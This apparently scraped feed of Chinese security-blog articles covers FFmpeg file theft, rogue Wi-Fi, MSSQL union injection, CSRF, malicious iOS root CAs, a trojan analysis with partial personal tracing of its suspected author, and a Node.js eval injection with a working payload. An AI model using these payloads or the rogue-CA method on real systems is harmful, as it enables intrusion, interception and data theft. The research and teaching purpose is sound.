https://blogs.technet.microsoft.com/mmpc/2016/05/17/malicious-macro-using-a-sneaky-new-trick/

http://www.CodeSec.Net/articles/system/104221.html

https://www.fireeye.com/blog/threat-research/2016/04/ghosts_in_the_endpoi.html

http://superuser.com/questions/807926/how-to-bypass-the-vba-project-password-from-excel

https://support.office.com/zh-cn/article/%E5%90%AF%E7%94%A8%E6%88%96%E7%A6%81%E7%94%A8-Office-%E6%96%87%E6%A1%A3%E4%B8%AD%E7%9A%84%E5%AE%8F-7b4fdd2e-174f-47e2-9611-9efe4f860b12

http://bobao.360.cn/learning/detail/2827.html

本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/2880.html

FFmpeg远程文件窃取漏洞 – 移动端安全分析报告

$
0
0
FFmpeg远程文件窃取漏洞 – 移动端安全分析报告

2016-05-23 19:02:36
来源:360安全播报 作者:360安全卫士

阅读:337次
点赞(0)
收藏



分享到:









FFmpeg远程文件窃取漏洞 – 移动端安全分析报告
作者: 360NirvanTeam & 360VulpeckerTeam

0x1 漏洞起源

FFmpeg 远程文件窃取漏洞最初来源是国外的漏洞平台,去年已在CTF比赛中被使用。官方今年一月份发布修复版本并公布了该漏洞编号CVE-2016-1897/CVE-2016-1898。在今年blackhat也会有这个漏洞的相关议题,同时360产品线也收到了相关漏洞报告,目前正在跟进修复修复中。

0x2 关于FFmpeg组件

FFmpeg的是一款全球领先的多媒体框架,支持解码,编码,转码,复用,解复用,流媒体,过滤器和播放几乎任何格式的多媒体文件。支持无数编码的格式,比如,HLS。

HLS(HTTP Live Streaming)是Apple公司开发的一种基于HTTP协议的流媒体通信协议。它的基本原理是把一个视频流分成很多个ts流文件,然后通过HTTP下载,每次下载一份文件。在一个开始一个新的流媒体会话时,客户端都会先下载一个m3u8(播放列表 Playlist)文件,里面包含了这次HLS会话的所有数据。

0x3 漏洞原理

问题就出在解析这个m3u8文件的时候,解析文件会得到ts流的http地址,我们并不一定非要得到一个视频文件流,可以是任意url地址,只要符合ffmpeg官方的协议头,所以造成了ssrf漏洞;并且不巧的是,官方还支持file协议,再再不巧的是,官方还有自己的concat协议,用来拼接url,所以出现了本地文件读取漏洞。下面是一个m3u8文件的格式:



FFmpeg远程文件窃取漏洞 – 移动端安全分析报告

然后构造一个媒体文件,去访问这个m3u8文件:



FFmpeg远程文件窃取漏洞 – 移动端安全分析报告

当我们本地打开这个文件,通过ffmpeg去解析的时候,将会触发漏洞:



FFmpeg远程文件窃取漏洞 – 移动端安全分析报告

0x4 漏洞危害

通过这个漏洞,可以通过上传漏洞视频,然后播放,或者在转码过程中,触发本地文件读取以获得服务器文件。漏洞刚爆出时,在服务器端影响较大,国内主流视频网站均受到波及。后经过跟进发现,安卓和苹果客户端如果使用了自己编译的有漏洞的ffmpeg库,同样能触发本地文件读取漏洞,这样通过一段视频,就能获得手机中的文件内容了,漏洞初始只能读取一行文件内容,经过安全评估确认可以读取多行文件及整个文件内容。

0x5 漏洞修复

通过查看官方源码,在解析HLS编码时,ffmpeg禁止了所有协议除了http(s)和file协议,修改方法如下:



FFmpeg远程文件窃取漏洞 – 移动端安全分析报告



FFmpeg远程文件窃取漏洞 – 移动端安全分析报告

如果有使用ffmpeg的程序,请参照下面的版本进行升级:

FFmpeg 2.8.x系列升级至2.8.5或以上;

FFmpeg 2.7.x系列升级至2.7.5或以上;

FFmpeg 2.6.x系列升级至2.6.7或以上;

FFmpeg 2.5.x系列升级至2.5.10或以上;

或直接使用FFmpeg 3.0.x版本。

0x6 漏洞检测

首先检查APP是否使用了FFmpeg,可以针对可疑的库文件和可执行文件,扫描特征字符串“detect bitstream specification deviations”。若存在特征字符串,说明使用了FFmpeg,继续后续检测。反之则没有使用FFmpeg。例如如下strings结果,说明使用了FFmpeg。

$ strings 360HomeGuard_NoPods | grep "detect bitstream"

detect bitstream specification deviations

detect bitstream specification deviations

检测是否修复CVE-2016-1897/CVE-2016-1898有两种检测方案,可以基于扫描特征字符串。

方案一可检测基于官方源码包编译的FFmpeg,判断其版本是否高于2.8.5。通过对2.8.4以及2.8.5源码的diff,在2.8.5以上的版本的libavformat库中,存在特征字符串“Invalid frame rate %f”。

$ grep "Invalid frame rate" -r ffmpeg-2.8.4

ffmpeg-2.8.4/libavformat/ivfdec.c: av_log(s, AV_LOG_ERROR, "Invalid frame rate\n");

$ grep "Invalid frame rate" -r ffmpeg-2.8.5

ffmpeg-2.8.5/libavformat/ivfdec.c: av_log(s, AV_LOG_ERROR, "Invalid frame rate\n");

ffmpeg-2.8.5/libavformat/nuv.c: av_log(s, AV_LOG_ERROR, "Invalid frame rate %f\n", fps);

ffmpeg-2.8.5/libavformat/nuv.c: av_log(s, AV_LOG_WARNING, "Invalid frame rate %f, setting to 0.\n", fps);

iOS上的FFmpeg可能是以静态库的形式链接到App的可执行文件中。因此可以通过strings可执行文件,并查找特征字符串的方法判断FFmpeg的版本。例如下述strings结果,说明使用了2.8.5以上的FFmpeg。

$ strings ffmpegDemo | grep "Invalid frame rate"

Invalid frame rate

Invalid frame rate %f

Invalid frame rate %f, setting to 0.

方案二检测对于CVE-2016-1897/CVE-2016-1898的源码patch。

官方修复CVE-2016-1897/CVE-2016-1897漏洞时,引入了字符串“file,”。通过检测这

个字符串,可以检测当前App是否修复漏洞。

$ strings ffmpegDemo | egrep --color "^file,\$"

file,

0x7 市场APP安全状况调查

通过对国内主流应用市场124371款全行业app进行抽样扫描,发现受此漏洞影响的产品数量为6314款,占总数的5%。并对其中受影响的app所使用的ffmepg库文件做了个top10统计。



FFmpeg远程文件窃取漏洞 – 移动端安全分析报告



FFmpeg远程文件窃取漏洞 – 移动端安全分析报告

其中使用率最高的libeasemod_jni.so属于环信sdk所带的库文件,libcyberplay-core.so是某开放云播放器的Android SDK。受影响app行业分类top10如下,其中通讯社交类应用受影响最大!



FFmpeg远程文件窃取漏洞 – 移动端安全分析报告


本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/2879.html

mana中的mac地址随机化处理

$
0
0
mana中的mac地址随机化处理

2016-05-24 13:50:41
来源:360安全播报 作者:bobb

阅读:325次
点赞(0)
收藏



分享到:









mana中的mac地址随机化处理

mana的发展步伐一直很迅速,但是OffSec团队礼貌地请求我们把mana恢复至之前的合适版本,1.3.1-Fixy McFixface是我们在2014年10月第一个正式版本之后,推送的许多的更新之中的一个。在之前的发布页面1.3-WPE & ACLs上用很长的篇幅详细说明了更新内容,其中包括WPE扩展功能,该功能受启发于Brad Antoniewicz's从对其的破解工作。

在我们最初发布mana的时候,iOS设备已经开始使用少量探针,他们正准备使用使用随机MAC地址探针(但并未正式使用),而据我们所知,Android在当时已经修复了在低电量模式下的探针泄露漏洞 。这就是我们创建loud mode的原因。

从那时起,iOS , OSX ,部分windows系统系统以及Android设备开始使用随机化MAC地址,用于探寻首选网络列表(PNL)之中的具体网络。当时的loud模式已经可以满足这一点,因为loud模式能够自己记录下使用随机MAC地址探寻到的ESSID,然后对这些网络进行响应,并将它们重新广播至非随机化MAC地址之上,但是这会现一些小问题---均衡性。

从原理上讲,mana在loud模式中能达到最好效果,因为它记下所有设备上的探针,并使用它们对所有设备进行回复。这意味着网络设备保存下来了,当下次再需要时就不用再重新探寻。但是这也意味着你可以对你周围所有的设备进行攻击,不过这个特性只有在你想犯法的时候才看起来吸引人。

有一条很重要的更新内容是mana开始使用MAC地址过滤(MAC ACL)。然而,这个特性只有在关联阶段有效,而且在设备发现或者尝试连接恶意网络时并不发出任何阻止操作。因而我们提供一个可将MAC ACL扩展为管理封包的选项。你可以在自己的设备上有效地将恶意AP设置为不可见状态(我不太明白为什么正常的AP不这样做)。

在这一点上,mana做得相当好,但是从数量上讲,mana可见的网络探针,尤其是从随机MAC地址发出的网络探针数目大大减少了。有时你可能需要允许某个特定厂商的所有MAC地址(例如当目标机构使用戴尔笔记本),这时显式的ACL便成为了一件麻烦事了,因为你只知道这些设备的OUI,为了解决这个问题,我们同时兼容为MAC ACL添加二进制掩码(衍生于airodump-ng的掩码功能)。我们在源码中给出了一些例子,你可以在hostapd.accpt/deny文件中添加一些自定义的规则,格式为<MAC地址><掩码>:

02:00:00:00:00:00 02:00:00:00:00:00

11:22:33:00:00:00 ff:ff:ff:00:00:00

aa:bb:cc:dd:ee:ff

以上例子可匹配所有随机MAC地址(将MAC地址的第一个八位第二位置为1,表示一个本地管理的MAC地址),并且可以匹配OUI为11:22:33的所有设备,以及MAC地址为aa:bb:cc:dd:ee:ff的设备。

如果以上的访问控制列表以白名单模式下,那么你便可以看到所有从随机MAC地址发出的所有网络探针,如果当前处于loud模式中,则会把这些探针重新广播至你的目标设备(而非其他设备),那么,均衡性问题便不会再影响mana的性能了。

正如我上文所介绍的,具体发布内容在GitHub上,在其中还包括了一些二进制包。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:https://www.sensepost.com/blog/2016/handling-randomised-mac-addresses-in-mana/

MSSQL Union注入新手教程

$
0
0
mssql Union注入新手教程

2016-05-24 15:29:44
来源:360安全播报 作者:Mickeyyyyy

阅读:395次
点赞(0)
收藏



分享到:









MSSQL Union注入新手教程

今天,我将通过这篇文章来一步一步教会大家如何进行MSSQL Union注入。在这篇文章中,我只会对相关的基础知识内容进行讲解。因为我发现在网上目前没有很多相关的教程,而且目前已有的教程中也并没有讲解得非常详细,所以我决定利用我多年的MS SQL注入经验,来给大家提供这样的一份基础教程,希望这篇教程可以给大家带来帮助。

首先,我们需要了解与注入有关的一些基础知识,其中就包括如何找出注入类型,如何进行数据库测试,以及如何找到与其它数据库表中相同的列。所以,我建议大家在阅读本教程之前,先去了解一些相关的基础知识,否则你可能会在阅读这篇教程的过程中遇到一定的困难。首先,我们不得不介绍一下什么是MSSQL。MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台,它可以为用户提供数据库的从服务器到终端的完整的解决方案。其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。

那么,让我们开始吧………..

首先,MSSQL的代码检测部分与mysql的是一样的,首先输入一个单引号(编码格式为%27),然后再输入一个双引号(编码格式为%22)来进行错误检测。接下来,我们将主要对基于单引号的注入方式进行讲解。


MSSQL Union注入新手教程

当我们发现,无论我们使用双引号还是单引号,系统都会给我们提供错误信息,那么其注入类型极有可能为基于整数的SQL注入。因为如果注入基于单引号的话,当我们使用双引号时,系统是不会提示错误信息的。如果注入基于双引号的话,同理可得,在我们使用单引号时,系统同样是不会提示错误信息的。所以我们就可以得出这样的一个结论,当我们使用双引号和单引号时,系统均会向我们提供错误信息的话,我们就可以采用黄金准则,即注入类型为整数类型(integer type)。

现在,让我们来对查询语句进行分析


MSSQL Union注入新手教程

从上面给出的这段示例代码中,我们可以了解到,表中数据列的总数为5。

现在,我们可以继续使用“order by”来进行查询。最后我们发现,“5”是最后一个有效数据列。接下来,我们要使用union select语句来进行操作。


MSSQL Union注入新手教程

如果你得到了如上图所示的错误提示信息,那么在这样的情况之下,我们可以选择使用“null”。


MSSQL Union注入新手教程

现在,我们需要将每一个数据列转换为“@@version”或者“db_name()”,你可以在下面的视频教程中了解到我是如何进行操作的。

接下来,当我们将“@@version”插入数据列中之后,如果这一列数据存在漏洞,那么我们将会得到如下图所示的信息….


MSSQL Union注入新手教程

除此之外,我们还有很多其他的方法可以从MSSQL中获取到更多的信息,如下所示:

1.@@version- 获取版本信息;

2.db_name() - 获取datebase()的名称

3.user,system_user,current_user,user_name - 获取当前用户名

4.@@SERVERNAME - 获取有关服务器主机的信息。

现在,我们来提取出表名。下面给出的查询语句与MySQL中的查询语句有一些不同的地方,MSSQL中的查询语句中缺少限制条件。


MSSQL Union注入新手教程

现在,我们可以利用同样的方法提取出表中相应的列名。查询语句如下所示:


MSSQL Union注入新手教程

现在,我们可以将数据表和数据列中的信息全部输出。在这里,我们可以使用“%2b”(即符号“+”)来进行数据的拼接。


MSSQL Union注入新手教程

到这里,我们的操作基本上就快要完成了。

观看视频-MSSQL注入新手教程:

视频地址:https://youtu.be/kF8dN-eSqhM

在这里,我们的MSSQL Union注入新手教程就到此结束了,希望大家在学习完这部分内容之后,能够勤于练习。感兴趣的读者也可以进行深入学习。

本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/2883.html

在现代web应用程序中的CSRF

$
0
0
在现代web应用程序中的CSRF

2016-05-25 14:05:21
来源:360安全播报 作者:mpk_no1

阅读:317次
点赞(0)
收藏



分享到:








CSRF或跨站点请求伪造(Cross-Site Request Forgery)在2013年的OWASP的前十名排名中排第8名。

引用OWASP的一个关于CSRF的简短介绍:

跨站点请求伪造(CSRF)是一种迫使一个终端用户在web应用程序上执行其不想进行的操作的攻击,该操作迫使他们进行身份验证。此外,CSRF攻击特定目标的状态改变请求,并不窃取数据,因为攻击者无法看到伪造请求的响应。

所以,简单地说:

你可以精心制作一个HTTP请求,当它执行时可以执行一个状态改变的操作,比如改变受害者的电子邮件地址或密码,或购买东西;

这个操作是受害者采取的,而攻击者只负责影响受害者去发起请求。

正如它的名字所说,这是一个跨站点请求,即请求是从一个站点发送到另一个站点。这通常意味着攻击者无法控制这个请求实际上去了哪里,所以通常攻击者是不可能阅读跨站点响应消息的(SOP applies)。

引用Mozilla Developer Network的话:

同源策略限制了来自同一源头的一个文档或者脚本和来自另一源头的资源之间的相互作用,这是一个重要的用来隔离潜在恶意文件的安全机制;

然而,对攻击者而言,只需要这个操作被执行即可。浏览器收到服务器响应的时候,操作早已经完成。

今天的应用程序不仅仅回复URL 和 BODY参数,还大量使用HTTP头文件。让我们以Outlook为例:

一个简单的HTTP请求/响应可能看起来像这样的:


在现代web应用程序中的CSRF

图中黄色高亮显示的HTTP头文件部分,经常X –开头的基本上是自定义标题,是服务器希望从每个请求中接收的。这里的X-OWA-CANARY是 ANTI-CSRF Token,它存在于HTTP头文件中,而不是BODY参数。我经常发现人们在检查CSRF时会忽略HTTP头文件,特别是对于初学者来说。如果服务器的配置是正确的,它将立即拒绝HTTP头文件中不含CSRF Token的请求,在这个例子中就是缺少X-OWA-CANARY,我们可以看到一个配置错误的诱饵的实现。

同时,人们缺乏“预检请求”的概念。在上面的例子中,即使服务器没有验证CSRF Token,我们也不能说它是易受CSRF攻击的——因为它可能使用了其他一些HTTP头文件,包含了“X-OWA-UrlPostData”,这是至关重要的。然而,可以设置自定义头文件来对跨站点请求做预检。

所以这到底是什么意思呢?

引用MDN的描述:

不像简单的请求,“预检请求”首先用设置的方法发送一个HTTP请求到另一个域的资源,以确定实际的请求发送是否是安全的。自从跨站点请求会影响到用户的数据之后一般都会做这样的预检。特别是,如果一个请求是以下这样就会做预检:

它使用了GET,HEAD 或者 POST以外的方法。此外,如果使用POST发送带有编码标签(Content-Type)而不是带有application/x-www-form-urlencoded, multipart/form-data, 或者 text/plain的请求数据,例如如果POST请求向服务器发送一个使用application / XML或text/ XML的XML有效负载,那么这个请求就需要进行预检;

它在请求中设置自定义头文件(例如使用一个带有X-PINGOTHER头文件的请求)。

简单地说,那些可能会给用户数据带来副作用的请求都需要进行预检。事实上,预检请求从来不会到达服务器,除非它们被明确告知。它们需要在相应的HTTP响应中出现特定的头文件信息。

如果想亲眼看一下,可以拷贝以下代码:

var xhr = new XMLHttpRequest();

xhr.open('POST', 'https://outlook.live.com/owa/service.svc?action=SubscribeToNotification&EP=1&UA=0&ID=-34&AC=1',true);

xhr.setRequestHeader('X-OWA-UrlPostData','%7B%22request%22%3A%7B%22__type%22%3A%22GetExtensibilityContextParameters%3A%23Exchange%22%2C%22FormFactor%22%3A3%2C%22ClientLanguage%22%3A%22en-US%22%2C%22IncludeDisabledExtensions%22%3Atrue%7D%7D');

xhr.send(null);

然后,粘贴到你的浏览器控制台(F12)。结果将是如下所示:


在现代web应用程序中的CSRF

实际的请求应该是这样的:


在现代web应用程序中的CSRF

恕我直言,使用HTTP头文件中带有anti-csrf令牌的应用(如Outlook、Instagram等)实际上并不容易遭受CSRF攻击,即使攻击者能够以某种方式计算CSRF Token。

总之,我想说:

有些人在检查CSRF攻击时只考虑anti-csrf Token。是的,虽然它可能在大多数情况下是脆弱的。但是,如果使用了一些猜不透的随机参数或者随机值的话,它并不是脆弱的。例如,在密码更改功能中anti-csrf令牌并不是必要的,如果它向你请求你现在的密码,那是因为攻击者需要你的密码来制作CSRF攻击你,这将使得他/她完全访问您的帐户。此外,在某些情况下,视图状态和时间戳值也为anti-csrf令牌的目的服务。所以,通常并不总是同样的token来阻止CSRF攻击,任何独一无二的或不可预测的/猜不透的键/值都可能阻止CSRF攻击。

这个帖子太长了,虽然我一直在努力压缩它。但是,我仍然相信我漏掉了很多东西,所以请为我提供宝贵的反馈信息。

不管怎样,我希望你们能够享受阅读这篇帖子。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:http://rootme.in/csrf-in-modern-web-applications/

将root CA添加到iOS设备

$
0
0
将root CA添加到iOS设备

2016-05-25 16:17:32
来源:360安全播报 作者:cruel_blue_

阅读:335次
点赞(0)
收藏



分享到:









将root CA添加到iOS设备

关于最近约翰霍普金斯团队遇到的iMessage加密错误,有几个人指出,这个时候就需要添加一个root CA来使它正常运作。然而获得一个全球性root CA的私有密钥是很困难的,让一台设备信任一个恶意的root CA看上去也很难办到,但实际上不然。(在文章尾部的注意事项中有一个简短的技术说明。)

在2014 年的Defcon talk上,我们发布了mana工具包,并指出在Android和iOS设备上安装是root CA是相当容易的,甚至都不需要进行攻击。而在两年后,iOS的世界也没有太大的改变,只是多了一个不清不楚的提示。

简单的方法

想要诱导用户在iOS设备上安装恶意root CA,你需要做的只是通过HTTP提供一个自签名证书 (它必须是自签名的,否则就不会作为root CA进行安装)。你只需要提供这个文件,甚至它不必是正确的mime类型。我认为在captive portal检查中,这是最容易做到的.当设备首次连接到一个无线网络时, 用户界面会弹出一个窗口,为了吸引用户上钩,可以将窗口命名为“免费无线网络自动配置”。如果用户没有通过安装,那么步骤是这样的:


将root CA添加到iOS设备

1.提示安装自签名恶意证书。红色的“未经验证”字样是非技术用户能看出来的最危险的标识。


将root CA添加到iOS设备

1.1点击“更多细节”后你会看到的画面


将root CA添加到iOS设备

2.将恶意证书添加到您的信任证书中时,你会收到新的警告。你会注意到,在面对普通用户的时候,它不会解释为什么这样做是不好的,而是会说 “这将允许别人拦截和修改你的加密通信” 。

即使是技术用户,也没法弄清楚这是不是会作为一个新的可信root进行添加。

我们也会看到一个警告,提醒我们概要文件是未经证实的。


将root CA添加到iOS设备

3.第二个“安装”提示。如果用户启用了密码或口令,他们会在此之前收到提示。


将root CA添加到iOS设备

4.现在证书已经安装。

对于用户来说,这只是简单的三个步骤,除了刚才那个“未经验证”的提示之外,用户根本不会意识到已经发生了一些糟糕的事情。在这种情况下,加密的MitM攻击是可行的,我们需要做的只是提供一个证书文件。

更好的方法

但是,让我们再多进行一步,看看是否可以去掉红色的“未经验证”警告,这就不仅仅是需要添加一个root CA了。

首先,我们来看一个用苹果iPhone配置器2或更老的配置通用程序编辑出来的简单配置概要文件。它们都能生成一个简单的plist文件。在这个配置中,我同样添加了自签名证书,并将配置导出为.mobileprofile文件,并确保它未签名和未加密。接下来,我使用一个有效的签署文件代码对证书进行签名。为了显示配置文件可以做一些其他的事情,我添加了一个隐藏的网络设备,设备会对其进行探索 (还会收到mana的回复)。最后,我们更新captive portal来为.mobileprofile文件——而不是证书进行服务。这样做,不需要华丽的标题和mime类型。这就是用户将会看到的页面:


将root CA添加到iOS设备

1.正在连接时用户收到的提示。红色的“未经验证”警告现在被替换成了一个绿色的“已验证”提示,这是因为配置文件已经被签署了,尽管它包含了恶意的、未经证实的root CA。我们也可以添加一些解释性的文字来让用户感觉更舒适。

我已经修改了签名证书的详细信息,因为我不希望别人取消它。


将root CA添加到iOS设备

1.1点击“更多细节”后你会看到的界面。你会注意到wifi网络都在这里。


将root CA添加到iOS设备

2.这是和之前一样的警告,提示证书将被添加到你信任的root中,但“这个概要文件未经验证”的警告已经不见了。对于非技术用户来说,这听上去就没什么可怕的了。甚至技术用户也可能被愚弄,因为它没有提到会作为一个可信root CA进行添加。


将root CA添加到iOS设备

3.第二个安装提示。和之前一样,如果你有密码,系统在此之前会提示你输入。


将root CA添加到iOS设备

4.这个概要文件已经安装完毕,你可以开始进行MitM攻击了。

现在,一个恶意的概要文件已经安装好了。利用这个配置概要文件,你可以对一台iOS设备的几乎任何一个方面进行配置,甚至建立一个远程MDM 服务器来赶走之后会出现的新的概要文件,并做一些准备,防止被用户删除。当然,配置得越多,额外的警告也就越多。

结论

我希望这已经足够证明,在iOS设备上安装一个恶意的root CA是很容易的,这样的话,发动iMessage和其他此类攻击也并非想象中那么困难。尤其是在配置概要文件的例子中,攻击者的“成本”相当低。

此外,我真心希望苹果能用红色显眼字体向用户解释清楚选项的含义是什么,并且推荐一个安全的默认选择。例如,在面向Android设备时,谷歌推出了一个持久的警告,通知用户他们的通讯可能会被截获。当然, 这些警告并不会阻止所有的用户,但手机操作系统也需要跟上浏览器的步伐,向用户推荐一个“默认”的安全选择,而不是任由用户自己进行选择。

针对iMessage缺陷的说明

苹果用来修复iMessage缺陷的方法是,用一些证书挡住iMessage请求。根据约翰霍普金斯的论文,这在2015年12月已经完成。

通过迫使一个特定的信任链或使用特定证书投入使用,MitM证书有效地挡住了iMessage流量中的MitM攻击。我们的恶意证书不是信任链的一部分,我们签署的证书也不会与特定的证书进行匹配。这就是为什么Twitter和Facebook这类应用不容易受到MitM攻击。

然而,老的iOS设备(pre-9)仍易受到这种攻击。因此,人们称这种攻击需要一个root CA的私有密钥是正确的,但是前提是要在iOS9设备上。针对iMessage的攻击比任何一个root CA都要困难得多,因为你需要访问一个特定的、内置的root CA的私有密钥。总之,上述技术无法让你在新一代的手机执行针对imessage的JHU攻击。

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:https://www.sensepost.com/blog/2016/too-easy-adding-root-cas-to-ios-devices/

“红包快抢”外挂木马分析及幕后黑手调查

$
0
0
“红包快抢”外挂木马分析及幕后黑手调查

2016-05-27 15:17:45
来源:360安全播报 作者:360QVM

阅读:666次
点赞(0)
收藏



分享到:








近期有网友反馈,在QQ群里下载运行了一款抢红包软件后,发现自己的电脑就被黑客接管控制了,非常担心重要数据和账号泄露。根据网友提供的这款名为“红包快抢”的外挂进行分析,360QVM团队发现此外挂是一个典型的木马后门,使黑客能够获得受害者电脑的访问权。


“红包快抢”外挂木马分析及幕后黑手调查

“红包快抢”外挂木马分析及幕后黑手调查

“红包快抢”木马技术分析

当程序执行后会获取临时目录C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp,在目录下创建目录_ir_sf_temp_0,并在目录下释放irsetup.exe和lua5.1dll。

这里恶意程序通过利用IndigoRose出品的一款安装程序制作工具Setup Factory,而irsetup.exe通过

__IRCT:0 __IRTSS:0 __IRSID:S-1-5-21-1614895754-1935655697-1417001333-500 __IRAOFF:1751402 __IRAFN:C:\Documents and Settings\Administrator\桌面\1.exe __IRCT:0 __IRTSS:0 __IRSID:S-1-5-21-这段参数启动。


“红包快抢”外挂木马分析及幕后黑手调查

“红包快抢”外挂木马分析及幕后黑手调查

“红包快抢”外挂木马分析及幕后黑手调查

“红包快抢”外挂木马分析及幕后黑手调查

程序文件对文件的操作如上图,当irsetup.exe将TenioDL_core.dll、Inst.exe、Config.dat等文件释放完后,通过启动

C:\Documents and Settings\Administrator\Application Data目录下的Inst.exe。而Inst.exe执行会导入同目录下的TenioDL_core.dll这个文件。


“红包快抢”外挂木马分析及幕后黑手调查

而该目录下的

TenioDL_core.dll并非Inst.exe真正所需加载的dll文件。它是伪造的一个dll文件,它提供同样的输出表。所以,在Inst.exe调用TenioDL_core.dll的时候,就会调用该目录下这个伪造的DLL,执行相关的恶意行为。

而TenioDL_core.dll主要是将C:\Documents and Settings\Administrator\Application Data下的config.dat解密到内存中。


“红包快抢”外挂木马分析及幕后黑手调查

“红包快抢”外挂木马分析及幕后黑手调查

并且会对解密出来的文件进行判断,判断是否为PE文件。


“红包快抢”外挂木马分析及幕后黑手调查

随后分别在policydefine和slimit两个目录下释放文件。


“红包快抢”外挂木马分析及幕后黑手调查

Inst.exe随后通过启动程序dllhost.exe,读取同在slimit目录下的config.dat文件到内存中解密执行,随后与zhong2016.org建立连接。


“红包快抢”外挂木马分析及幕后黑手调查

而slimit目录下的

Config.dat通过算法解密出来,得知它是一个dll文件。


“红包快抢”外挂木马分析及幕后黑手调查

解密前


“红包快抢”外挂木马分析及幕后黑手调查

解密后


“红包快抢”外挂木马分析及幕后黑手调查

解密算法

而该后门程序为了达到长期驻留在受害者的计算机中,通过修改注册表启动项来达到后门程序随受害者计算机系统启动而启动。这里主要是Config.dat在内存中解密执行过程中,将slimit目录下的start.exe添加到HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Run启动项中。

最后,通过抓包工具捕获到后门程序尝试与176.9.12.95:2016进行连接访问的数据包。


“红包快抢”外挂木马分析及幕后黑手调查

追踪“牧马人”

而这个IP指向的域名为zhong2016.org,通过查询得知该域名联系人的一些信息。根据网易手机号码邮箱135****3776@163.com的信息,推测牧马人有可能活跃在广东湛江。


“红包快抢”外挂木马分析及幕后黑手调查

凭借邮箱关联的手机号码在支付宝上进行查询,查询结果显示出疑似木马作者的姓名:


“红包快抢”外挂木马分析及幕后黑手调查

通过搜索引擎查找该姓名,发现其新浪微博、腾讯微博以及发布在求职网站上的个人简历。


“红包快抢”外挂木马分析及幕后黑手调查

通过对木马分析和溯源可知,“红包快抢”外挂木马本身的技术水平并不高,木马作者也不擅长隐匿行踪,但由于自动抢红包充满了诱惑,以至于不少人宁可关闭安全软件也要用外挂,有可能因此而中招。

360QVM团队提醒广大网友,切勿轻信QQ群等非官方渠道传播的外挂软件,上网时一定要开启安全软件,在安全软件报警提示木马时及时查杀,不可冒险使用可疑外挂,以免遭遇严重损失。

本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/2886.html

Node.js应用中的逆向Shell

$
0
0
Node.js应用中的逆向Shell

2016-05-30 14:26:02
来源:360安全播报 作者:Mickeyyyyy

阅读:155次
点赞(0)
收藏



分享到:









Node.js应用中的逆向Shell

我们如何在安全评估活动中利用Node.js应用程序中的漏洞来获取javascript逆向Shell呢?

介绍

在此之前,一个小型的web开发团队曾委托我们对他们移动应用程序的后台服务进行安全评估。值得一提的是,该后台程序的API(应用程序编程接口)开发全部遵循的是Rest风格。REST全称为REpresentational State Transfer,即表述性状态转移。REST指的是一组架构约束条件和原则,满足这些约束条件和原则而设计开发出来的应用程序编程接口就是REST API。REST并不是一种新兴的什么技术语言,也不是什么新的框架,而是一种概念、风格或者约束。

这种框架结构实际上是非常简洁的,整个架构中只需要使用三台linux服务器。

-Node.js(一个Javascript运行环境)

-MongoDB(一个基于分布式文件存储的数据库)

-Redis(一个开源的Key-Value数据库)

首先,我们在无法访问到程序源代码的情况下对程序后台进行了一些随机测试。我们发现,如果在后台应用程序的某些数据输入接口中输入一些特殊字符时,将会引起程序的意外崩溃。

除此之外我们还注意到,我们可以在不经过身份验证的情况下从外网访问到应用程序的Redis服务器。

接下来,我们的任务就是对Node.js的应用程序编程接口代码进行安全审查,并找出引起程序崩溃的原因。

对存在漏洞的应用程序进行简化

我们创建出了这个小型的Node.js应用程序,该程序中同样含有存在漏洞的功能函数。如果用户想要尝试去利用这一漏洞,那么可以使用这一应用程序来进行测试。

Node.js网站服务器会等待类似http://target.tld//?name=do*的查询语句传入服务器,并在网站数据库中搜索与查询语句中“name”参数相匹配的数据条目。

'usestrict' consthttp=require('http'); consturl=require('url'); constpath=require('path'); constanimalsJSON=path.join(__dirname,'animals.json'); constanimals=require(animalsJSON); functionrequestHandler(req,res){ leturlParams=url.parse(req.url,true); letqueryData=urlParams.query; res.writeHead(200,{"Content-Type":"application/json"}); if(queryData.name){ letsearchQuery=stringToRegexp(queryData.name); letanimalsResult=getAnimals(searchQuery); res.end(JSON.stringify(animalsResult)); }else{ res.end(); } } functiongetAnimals(query){ letresult=[]; for(letanimalofanimals){ if(query.test(animal.name)) result.push(animal); } returnresult; } functionstringToRegexp(input){ letoutput=input.replace(/[\[\]\\\^\$\.\|\?\+\(\)]/,"\\$&"); letprefix,suffix; if(output[0]=='*'){ prefix='/'; output=output.replace(/^\*+/g,''); }else{ prefix='/^'; } if(output[output.length-1]=='*'){ suffix='/i'; output=output.replace(/\*+$/g,''); }else{ suffix='$/i'; } output=output.replace(/[\*]/,'.*'); returneval(prefix+output+suffix); } constserver=http.createServer(requestHandler); server.listen(3000); [ {"name":"Dinosaur"}, {"name":"Dog"}, {"name":"Dogfish"}, {"name":"Dolphin"}, {"name":"Donkey"}, {"name":"Dotterel"}, {"name":"Dove"}, {"name":"Dragonfly"}, {"name":"Duck"} ]

漏洞信息

在我们的安全研究人员对代码中存在漏洞的地方进行了几分钟的分析测试之后,我们注意到了一个明显带有设计缺陷的地方,而这个问题将会直接导致攻击者能够实现远程代码执行。

stringToRegexp函数会创建出一个RegExp对象(正则表达式对象)来对用户的输入数据进行检测,并利用这个正则表达式对象来搜索数组中的有效数据元素。

returneval(prefix+output+suffix);//我们在这里需要控制函数的返回值 我们可以在output变量中插入并执行我们的JavaScript代码。

stringToRegexp函数可以过滤掉数据中的某些特殊字符,并且对output变量的值进行审查。

["./;require('util').log('Owned');//*"] 当我们使用浏览器访问下方列出的网站地址之后,系统将会在服务器的终端打印一条信息。
http://target.tld/?name=["./;require('util').log('Owned');//*"] 通过这样的方法,我们就可以执行代码,并获取到服务器的交互Shell(例如/bin/sh)。

Node.js逆向Shell

下方所显示的JavaScript代码就是一个Node.js逆向Shell。

